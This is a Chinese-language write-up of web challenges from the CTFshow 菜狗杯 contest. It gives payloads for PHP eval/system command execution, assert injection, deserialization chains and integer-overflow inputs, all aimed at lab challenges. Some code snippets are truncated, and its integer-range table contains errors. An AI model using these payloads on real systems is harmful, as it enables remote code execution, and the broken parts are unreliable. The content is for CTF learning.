CTFshow 菜狗杯 部分wp
😋 大家好,我是YAy_17,是一枚爱好网安的小白。
本人水平有限,欢迎各位大佬指点,一起学习 💗 ,一起进步 ⭐ 。
⭐ 此后如竟没有炬火,我便是唯一的光。 ⭐
web签到
$_COOKIE['CTFshow-QQ群:'],通过cookie方式传递CTFshow-QQ群:为a;那么里面的代码变为$_REQUEST[$_GET[$_POST['a']]],再通过POST方式传递a=b,则代码继续缩减为$_REQUEST[$_GET['b']] 再通过GET方式传递b=c,代码继续缩减为$_REQUEST['c'],然而REQUEST方式可以接受GET或者POST方式。再通过GET方式传递c数组,c[6][0][7][5][8][0][9][4][4]=system('ls');
CTFshow-QQ群,汉字“群”记得url编码
web2 c0me_t0_s1gn
看看源码,可以发现一部分flag:
同时还发现了另外一半的flag在控制台中,打开控制台,再次发现提示:
输入g1ve_flag(),输出剩余的flag;
我的眼里只有$
类似于web签到,嗯~;$$$_ ->那么我们通过POST传递_=a 变成了$$a 继续传递a=b 继续缩减为$b 再传递b=phpinfo();便可以执行成功,只不过这里的$符号比较多,一共36个,费劲;payload为:
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=re1&re1=re2&re2=re3&re3=re4&re4=re5&re5=re6&re6=re7&re7=re8&re8=re9&re9=re10&re10=eval($_POST[1]);&1=system('nl /f1agaaa');
一言既出
assert和eval类似,括号中可以执行php代码,因此我们可以将该行后面的注释掉;
payload:
num=114514);//
驷马难追
在一言既出的基础上加上了check!不允许存在字符,分号,以及括号;那么上面的通过闭合的方法就无法执行!可以通过“➕”来完成,记得编码,num=114514%2b1919810-114514
TapTapTap
小游戏,看看源代码,在源代码的最后面发现了一个js文件:
查看js文件如下:
当游戏的等级达到20级以上的时候,会弹窗(里面有段看起来像是base64编码的字符串,尝试解密):
发现最终的flag位置,访问该路径即可;
Webshell
init(); } public function init() { if (!preg_match('/flag/i', $this->cmd)) { $this->exec($this->cmd); } } public function exec($cmd) { $result = shell_exec($cmd); echo $result; } } if(isset($_GET['cmd'])) { $serializecmd = $_GET['cmd']; $unserializecmd = unserialize($serializecmd); $unserializecmd->init(); } else { highlight_file(__FILE__); }?>
最终的利用点在exec方法中,将执行shell_exec()后的结果,返回;上面的init方法调用了exec方法,inti方法中,进行了正则过滤,不可以匹配到flag。很简单的反序列化:
init(); } public function init() { if (!preg_match('/flag/i', $this->cmd)) { $this->exec($this->cmd); } } public function exec($cmd) { $result = shell_exec($cmd); echo $result; }}$a = new Webshell();echo serialize($a);?>
化零为整
1){ die("你太长了!!"); } else{ $result=$result.$_GET[$i]; }}if ($result ==="大牛"){ echo $flag;}
这个题目好牛!!
我们知道一个中文的字符,经过url编码会变成3个;例如大这个字符经过url编码变为%e5%a4%a7
因此我们可以将其拆分为6个,最终连接起来形成:“大牛”
payload:1=%e5&2=%a4&3=%a7&4=%e7&5=%89&6=%9b
无一幸免
0=1
茶歇区
不明白的题目,貌似是整数溢出漏洞;关于整数溢出漏洞,我们需要了解各种数据类型对应的取值范围:
uint8 -> 0-255
uint16 -> 0-65535
uint32 -> 0-4294967295
uint36 -> 0-18446744073709551615
int8 -> -127-128
int16 -> -32768-32767
int32 -> -2147483648-2147483647
int64 -> -9223372036854775808-9223372036854775807
尝试将咖啡的数量修改为99999999999999999999:
那么我们根据922..807这个数字,可以判断为int64,当然一般情况都是int64,这里存在一个疑点,为什么我们传的值已经明显大于9223372036854775807,但是为什么获得的积分是0?未接触过整数溢出的题目,看了相关的wp,好像是与数位相关,因为咖啡的单价是10,我们的数量还要×10,因此当我传递999999999999999999时:
再次传递数量(也就是说一共传递两次)
小舔田?
name; } public function __wakeup(){ echo "我是".$this->name."快来赏我"; }}class Ion_Fan_Princess{ public $nickname="牛夫人"; public function call(){ global $flag; if ($this->nickname=="小甜甜"){ echo $flag; }else{ echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n"; echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n"; } } public function __toString(){ $this->call(); return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname; }}if (isset($_GET['code'])){ unserialize($_GET['code']);}else{ $a=new Ion_Fan_Princess(); echo $a;}
php序列化,最终的利用点在22行的echo $flag;该语句在call函数中,那么我们就需要向上找到用谁去调用call函数,显然,是Ion_Fan_Princess类中的tostring方法了,那么想要调用tostring函数,可以利用上面类中的tostring方法,当我们使得$this->name的值为Ion_Fan_Princess对象时,在wakeup方法中触发tostring方法;那么序列化链就比较清楚了;
name; } public function __wakeup(){ echo "我是".$this->name."快来赏我"; }}class Ion_Fan_Princess{ public $nickname; public function call(){ global $flag; if ($this->nickname=="小甜甜"){ echo $flag; }else{ echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n"; echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n"; } } public function __toString(){ $this->call(); return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname; }}$a = new Moon();$b = new Ion_Fan_Princess();$b->nickname = "小甜甜";$a->name = $b;echo serialize($a);
看下源码,发现存在执行命令:
随便上传一个图片,在repeater模块进行测试:
发现了flag.py文件,之后便可以cat flag.py
Is_Not_Obfuscate
hint:这道题是纸老虎,看题目名字。
先看下源代码:
发现了很多信息,通过input传递加密后的代码,之后通过decode解密后,当作php代码执行;同时发现robots.txt文件,先去访问下robots.txt文件:
这里发现了/lib.php?flag=0;尝试修改0为1,得到一串加密后的代码,有点像base64,这里还去尝试解码;发现不对;还有一个地方值得我们的注意,就是url中的参数存在3个,分别是input,action,output;到这里没有了思路,看了wp,需要将action的值设置为test;(其实在源代码中有提示的),尝试将input设置为刚才我们发现的那一串类似base64的加密字符串:(这里在hackbar中测试出来,后来才在前端将action修改为test)
先在前端修改action的value值为test,之后将上面发现的类似于base64的字符串填入文本框中,点击预览:
看到代码,首先看到$input变量,使用的是file_put_contents()函数,文件名为/plugins/md5加密“output的值+youyou”;内容就是encode加密后的output;
而$output变量,利用file_get_contents()函数读取文件中的内容,然后通过decode进行解密,之后将解密后的代码当作php代码来执行;
http://ctfshow/index.php?input=&action=push&output=http://ctfshow/index.php?input=0ed5fa37c609aceabc612d7c4e3799db&action=pull&output=
无一幸免_FIXED
我说上面的无一幸免怎么回事呢,下面才是g4师傅的意图:
题目还是涉及到整数溢出,类似于“茶歇区”,通过GET方式提交参数0的值,作为数组的下标,赋值为1,通过判断,输出flag的值;
当通过get传递值为9223372036854775807时,出现报错,而不是输出的结果是1;故我们可以通过传递0的值为9223372036854775807来绕过;
easyPytHon_P
源码在此:
from flask import requestcmd: str = request.form.get('cmd')param: str = request.form.get('param')# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓import subprocess, osif cmd is not None and param is not None: try: tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5) print('Done!') except subprocess.TimeoutExpired: print('Timeout!') except: print('Error!')else: print('No Flag!')如果环境出现故障,请访问 这里 尝试恢复。大菜鸡敬上!
看源码可知,关键性的代码
tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
先来了解subprocess.run:
我们需要传递两个参数,分别是cmd和param(需要注意的是,要通过POST方式传递,而不是GET)
flag存在于当前路径下,而不是在根目录下;
来源地址:https://blog.csdn.net/weixin_44770698/article/details/128882067
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341